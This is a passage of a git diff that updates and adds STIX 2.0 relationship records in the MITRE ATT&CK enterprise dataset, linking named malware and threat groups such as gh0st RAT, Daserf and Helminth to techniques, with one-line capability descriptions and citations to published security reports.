--- a/enterprise-attack/relationship/relationship--a564f3da-349a-4e65-826c-8ca60bc920bf.json
+++ b/enterprise-attack/relationship/relationship--a564f3da-349a-4e65-826c-8ca60bc920bf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae73af2b-0aff-4bb4-a0a4-297458af8c21",
+    "id": "bundle--e6bc8d9a-968c-46ce-ac22-0f1df5f19266",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a564f3da-349a-4e65-826c-8ca60bc920bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gh0st RAT is able to list processes.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
diff --git a/enterprise-attack/relationship/relationship--a566127b-1d88-4b38-84dd-4686e2837399.json b/enterprise-attack/relationship/relationship--a566127b-1d88-4b38-84dd-4686e2837399.json
new file mode 100644
index 0000000000..1c553d01a2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a566127b-1d88-4b38-84dd-4686e2837399.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--43f5575a-491d-4360-a4e3-e1791dde94d6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a566127b-1d88-4b38-84dd-4686e2837399",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can use steganography to hide malicious code downloaded to the victim.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445.json b/enterprise-attack/relationship/relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445.json
new file mode 100644
index 0000000000..00fc64ecf8
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--5090e6b8-21f9-4fcd-97cf-46643ad6139a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka is capable of performing screen captures.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a5888362-00f3-4c9e-98ee-048aee5169e1.json b/enterprise-attack/relationship/relationship--a5888362-00f3-4c9e-98ee-048aee5169e1.json
index 24a6acbcf4..48f83dcd83 100644
--- a/enterprise-attack/relationship/relationship--a5888362-00f3-4c9e-98ee-048aee5169e1.json
+++ b/enterprise-attack/relationship/relationship--a5888362-00f3-4c9e-98ee-048aee5169e1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b2a4f9ea-4eae-405f-be55-f6f971b5d87d",
+    "id": "bundle--e7ac3938-39da-4743-b559-7d3c695b6661",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a5888362-00f3-4c9e-98ee-048aee5169e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 uses PowerShell for execution as well as PowerShell Empire to establish persistence.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--a58983e1-45d7-4b45-a578-307659a619dc.json b/enterprise-attack/relationship/relationship--a58983e1-45d7-4b45-a578-307659a619dc.json
new file mode 100644
index 0000000000..3218893991
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a58983e1-45d7-4b45-a578-307659a619dc.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--21e82333-216f-464a-b7ef-de310aa6f40c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a58983e1-45d7-4b45-a578-307659a619dc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The executable version of Helminth has a module to log clipboard contents.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f.json b/enterprise-attack/relationship/relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f.json
index cf2851a672..0e03e0dae5 100644
--- a/enterprise-attack/relationship/relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f.json
+++ b/enterprise-attack/relationship/relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c0f192f-f69f-4fc1-9a73-bf7e75767453",
+    "id": "bundle--f8a4d077-cbad-477b-aecf-9ce13aded802",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.081Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names.",
             "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
diff --git a/enterprise-attack/relationship/relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f.json b/enterprise-attack/relationship/relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f.json
index 3cfde53da7..184c3954af 100644
--- a/enterprise-attack/relationship/relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f.json
+++ b/enterprise-attack/relationship/relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9bba530e-4bfc-460e-9831-ba0d0a99620a",
+    "id": "bundle--b8a7d9d9-a286-4ff4-8ffa-8f4af909eba3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Ke3chang can run commands on the command-line interface.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e.json b/enterprise-attack/relationship/relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e.json
index b025e33bad..a424f4b6aa 100644
--- a/enterprise-attack/relationship/relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e.json
+++ b/enterprise-attack/relationship/relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--00c595d5-94ec-465d-a518-25d82c380c51",
+    "id": "bundle--c35bfd8b-9f01-43a8-82d5-e7a227defc38",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS has a command to download an .exe and use process hollowing to inject it into a new process.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b.json b/enterprise-attack/relationship/relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b.json
index 56c4c13aea..96660e3d90 100644
--- a/enterprise-attack/relationship/relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b.json
+++ b/enterprise-attack/relationship/relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f2a5b79-eaf9-42be-a2a0-bed845e2ec54",
+    "id": "bundle--8a0eeaba-118a-49e8-8332-99a2cddfd3b4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor encrypts C2 traffic with HTTPS and also encodes it with a single-byte XOR key.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0.json b/enterprise-attack/relationship/relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0.json
index b8c1211580..05858a48c9 100644
--- a/enterprise-attack/relationship/relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0.json
+++ b/enterprise-attack/relationship/relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7eae76d0-827c-4e14-bfc9-bfa75b574ce5",
+    "id": "bundle--0c43975f-7928-4d75-be0d-448205ab1995",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT uses netstat to list TCP connection status.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
diff --git a/enterprise-attack/relationship/relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb.json b/enterprise-attack/relationship/relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb.json
index aa68e32fbc..725473cb2c 100644
--- a/enterprise-attack/relationship/relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb.json
+++ b/enterprise-attack/relationship/relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d813adf4-d618-4b01-a2f5-a834834d8e0a",
+    "id": "bundle--ab733fd5-0c5c-4d57-968d-3d840f511108",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer can gather the victim's username to send to a C2 server.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
diff --git a/enterprise-attack/relationship/relationship--a602be33-6ed6-4f73-b7f6-10b47581707a.json b/enterprise-attack/relationship/relationship--a602be33-6ed6-4f73-b7f6-10b47581707a.json
index 2be715dfe0..854e0f0bbf 100644
--- a/enterprise-attack/relationship/relationship--a602be33-6ed6-4f73-b7f6-10b47581707a.json
+++ b/enterprise-attack/relationship/relationship--a602be33-6ed6-4f73-b7f6-10b47581707a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0bbb8352-977a-4737-bce6-7146c0adee5b",
+    "id": "bundle--c98a1aee-c5e0-4064-b262-2c66856874c0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a602be33-6ed6-4f73-b7f6-10b47581707a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Poseidon Group searches for administrator accounts on both the local victim machine and the network.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--a6150e37-2411-409f-82a0-e259d55d1166.json b/enterprise-attack/relationship/relationship--a6150e37-2411-409f-82a0-e259d55d1166.json
index f7486d785e..d0590f6588 100644
--- a/enterprise-attack/relationship/relationship--a6150e37-2411-409f-82a0-e259d55d1166.json
+++ b/enterprise-attack/relationship/relationship--a6150e37-2411-409f-82a0-e259d55d1166.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2e9ec7ed-8bba-4dfc-9b4f-4309737e72a7",
+    "id": "bundle--9c9d7035-7352-4e38-859b-5c1918de5e81",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a6150e37-2411-409f-82a0-e259d55d1166",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef.json b/enterprise-attack/relationship/relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef.json
index e5db6963d7..378ddadc7c 100644
--- a/enterprise-attack/relationship/relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef.json
+++ b/enterprise-attack/relationship/relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4df7ec45-3b26-4a88-a613-551aea0c93c6",
+    "id": "bundle--f8dede78-0cb1-4ce6-95b4-82ef102f8a54",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--a65de154-e0dd-445f-9f26-8459a287c790.json b/enterprise-attack/relationship/relationship--a65de154-e0dd-445f-9f26-8459a287c790.json
index fe2f49d109..99b12f5951 100644
--- a/enterprise-attack/relationship/relationship--a65de154-e0dd-445f-9f26-8459a287c790.json
+++ b/enterprise-attack/relationship/relationship--a65de154-e0dd-445f-9f26-8459a287c790.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--05887638-abcb-4e03-9b1c-4d8b533aa1a7",
+    "id": "bundle--f172fbc4-fd76-42e6-b96e-502a9dcdb95b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a65de154-e0dd-445f-9f26-8459a287c790",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e",
             "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
diff --git a/enterprise-attack/relationship/relationship--a66aff09-0635-44a3-b591-a530a25c9012.json b/enterprise-attack/relationship/relationship--a66aff09-0635-44a3-b591-a530a25c9012.json
index 6ce4840501..204033c457 100644
--- a/enterprise-attack/relationship/relationship--a66aff09-0635-44a3-b591-a530a25c9012.json
+++ b/enterprise-attack/relationship/relationship--a66aff09-0635-44a3-b591-a530a25c9012.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4cda6f5a-1869-4793-afe8-191a842153f1",
+    "id": "bundle--9c2f1c66-2ff6-459b-a216-6cb03a4bc578",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a66aff09-0635-44a3-b591-a530a25c9012",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Microsoft Sysinternals PsExec is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.",
             "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
diff --git a/enterprise-attack/relationship/relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea.json b/enterprise-attack/relationship/relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea.json
index 613ecc762c..c2727f9f30 100644
--- a/enterprise-attack/relationship/relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea.json
+++ b/enterprise-attack/relationship/relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9a8d65e8-4976-4c2c-b706-7a2b1555ed2c",
+    "id": "bundle--bc30984a-8e9f-4d20-a4bc-6f11fb5762ad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer mimics a legitimate Russian program called USB Disk Security.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9.json b/enterprise-attack/relationship/relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9.json
new file mode 100644
index 0000000000..89d79bc4f0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--86dac1c0-bfe3-4fd7-a893-9ac1970f558c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike uses a command-line interface to interact with systems.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a6962782-1942-42f5-a627-f205376e2ec2.json b/enterprise-attack/relationship/relationship--a6962782-1942-42f5-a627-f205376e2ec2.json
index 4715645274..96849e8376 100644
--- a/enterprise-attack/relationship/relationship--a6962782-1942-42f5-a627-f205376e2ec2.json
+++ b/enterprise-attack/relationship/relationship--a6962782-1942-42f5-a627-f205376e2ec2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3fdae7c4-546d-448b-88e6-cf8a99f69015",
+    "id": "bundle--60202945-ede1-4d38-b9da-1755681e429c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a6962782-1942-42f5-a627-f205376e2ec2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--a6a8e3e4-faa7-4c9f-9460-fabbbc8c844c.json b/enterprise-attack/relationship/relationship--a6a8e3e4-faa7-4c9f-9460-fabbbc8c844c.json
index e00743ced3..9454d63729 100644
--- a/enterprise-attack/relationship/relationship--a6a8e3e4-faa7-4c9f-9460-fabbbc8c844c.json
+++ b/enterprise-attack/relationship/relationship--a6a8e3e4-faa7-4c9f-9460-fabbbc8c844c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c4d0e69-d28e-479f-909c-660f82d91676",
+    "id": "bundle--cf08206d-a82b-4765-82b0-0982c09bc62f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a6a8e3e4-faa7-4c9f-9460-fabbbc8c844c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7",
             "target_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
diff --git a/enterprise-attack/relationship/relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd.json b/enterprise-attack/relationship/relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd.json
index 00839ab62b..a4ac2176fd 100644
--- a/enterprise-attack/relationship/relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd.json
+++ b/enterprise-attack/relationship/relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b07a3667-18fe-4ac5-95de-102063938861",
+    "id": "bundle--abf89ba9-fb7e-48a6-8d6c-8e5451249200",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If an initial connectivity check fails, pngdowner attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.",
             "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
diff --git a/enterprise-attack/relationship/relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132.json b/enterprise-attack/relationship/relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132.json
index 1fd4bdae3a..bcef6aa70d 100644
--- a/enterprise-attack/relationship/relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132.json
+++ b/enterprise-attack/relationship/relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55678319-e005-40a7-8cbb-d01147cd51db",
+    "id": "bundle--47491ede-f6fe-492a-b7a7-1104dfe546cf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
             "target_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
diff --git a/enterprise-attack/relationship/relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2.json b/enterprise-attack/relationship/relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2.json
index ef75b8c0b6..352a6364db 100644
--- a/enterprise-attack/relationship/relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2.json
+++ b/enterprise-attack/relationship/relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ca21e22-fc92-4810-a058-cc47bd15ee41",
+    "id": "bundle--45542b67-e2e7-4a4c-af26-16f4ffa4c399",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
